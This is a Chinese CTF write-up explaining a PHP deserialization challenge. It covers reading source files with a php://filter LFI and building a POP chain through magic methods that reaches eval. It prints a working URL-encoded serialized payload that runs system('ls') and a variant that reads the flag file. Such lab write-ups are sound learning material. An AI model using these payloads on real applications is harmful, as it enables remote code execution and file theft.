记一道简单的 PHP 反序列化
题目来源与环境搭建
题目来源
环境搭建
使用 Docker 和 Docker Compose 搭建,Docker 使用教程见 Docker — 从入门到实践
关于 Docker 的一个很不错的视频(快速入门)
修改
docker-compose.yml的端口配置1
vim docker-compose.yml
把 ports 里的 8085 修改成你想要的端口
使用以下命令构建 Docker 镜像
进入题目根目录下运行命令(可先对 Docker 进行换源)
1
docker build -t pop .
使用以下的命令创建运行容器
进入题目根目录下运行命令
1
docker-compose up -d
解题部分
协议读文件
打开题目,就看见提示在hint.php,好那就访问它:
1 |
|
看见文件包含,就想到利用协议来读取文件,先来尝试读取flag.php:
1 | ?flag=php://filter/read=convert.base64-encode/resource=flag.php |
得到如下结果:
1 | PD9waHANCkknbSBub3QgYSByZWFsIGZsYWcNCj8+ |
Base64 解码出来:
1 |
|
好嘛,是个假的 flag,那就来读读index.php:
1 | ?flag=php://filter/read=convert.base64-encode/resource=index.php |
照样得到一串 Base64 编码的数据,进行解码
1 |
|
源码分析
先来说下 php 里的魔术方法:
__wakeup():在反序列化时被调用
__sleep():在序列化一个对象时被调用
__destruct():在对象被销毁时调用
__construct():在一个对象被创建时会调用
__call():在调用一个对象中不存在的或者被权限控制的方法时会调用
__callStatic():调用不可见的静态方法时会自动调用
__get:用于获取类里的变量(private, protected,public 都可以)
__set():用来给私有成员属性赋值
__isset:当我们对不可访问属性调用isset()或者empty()时调用
__unset():基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数
__toString():将一个对象当作一个字符串来使用时,就会自动调用该方法
__invoke():当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用
其次在某些函数前面加了 @,这个 @ 的作用是:是 PHP 提供的错误信息屏蔽的专用符号,简单来说就是让页面不显示报错
构造 pop 链
这里使用正向的思路来构造:
- 首先看见
Monkey类里面有__wakeup方法,我们可以从这个类出发,因为在反序列化时,__wakeup()方法可以主动调用 - 再来看
__wakeup()里面的东西,注意到$this->head,如果我们把一个类赋给head,那么在执行正则时,就会调用这个类里面的__toString()方法 - 再来寻找有
__wakeup()方法的类,发现有Elephant和Tiger,但我们要的是Elephant这个类 Elephant里的__toSting()返回的是nice->nose,所以我们还要给nice赋一个类- 这里把
Lion赋给nice,这样在访问Elephant里的nose时,会调用Lion里的__get() - 再在
Lion里把 tail 赋成Tiger,在Lion里面return $function();时,就会调用Tiger里的__inkove(),进一步调用Tiger里的boss(),进而调用eval(),再向Tiger里的$var传入system()函数,就可以执行命令了
B 站上有个视频也讲的不错(题目很相似):
构造 Payload
使用上面的思想可以写出以下代码
1 |
|
得到的 Payload(用变量 zoo POST 过去):
1 | O%3A6%3A%22Monkey%22%3A2%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D%7Ds%3A4%3A%22hand%22%3BN%3B%7D |
看到回显的几个目录就成功了,然后读取 flag:
1 | protected $var = "system('cat /real_flag/f1Ag');"; |
生成 Payload 打过去就能看见 flag 了